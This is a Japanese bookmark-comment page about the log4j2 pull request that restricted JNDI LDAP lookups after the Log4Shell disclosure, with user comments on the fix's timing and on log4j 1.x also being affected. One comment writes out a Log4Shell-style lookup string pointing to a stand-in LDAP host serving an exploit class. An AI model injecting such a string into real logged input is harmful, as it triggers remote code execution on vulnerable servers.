Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2

テクノロジーカテゴリーの変更を依頼記事元:

38 usersがブックマークコメント

規約違反を報告

Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2

You signed in with another tab or window. Reload to refresh your session. You signed out in anoth... You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

記事へのコメント9件

注目コメント
新着コメント

sudo_vi 修正が公開でコミットされたの0dayが撒かれた今日の9日前だし、修正リリースはhotfixじゃなくて他の変更も混じったv2.15.0だし、ひどい

2021/12/10 リンク

efcl log4jの脆弱性修正のIssue

2021/12/12 リンク

manhole log4j2でJNDI機構から任意のコードを実行できてしまう脆弱性への対応

2021/12/11 リンク

tackman 歴史の瞬間が収められるpull request

rgfx 該当コメこれか(;´Д`)　https://github.com/apache/logging-log4j2/pull/608#issuecomment-989762094

nilab Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub

roshi jndi:ldap://example.com/exploit.class みたいなログをlog4jに書かせて、それに応答するLDAPサーバーを用意して任意のコードを実行させる形なのかな？

mickn “log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability”

daimatz log4j の脆弱性の件、 2.x と 1.x も影響あるそうで / “log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability”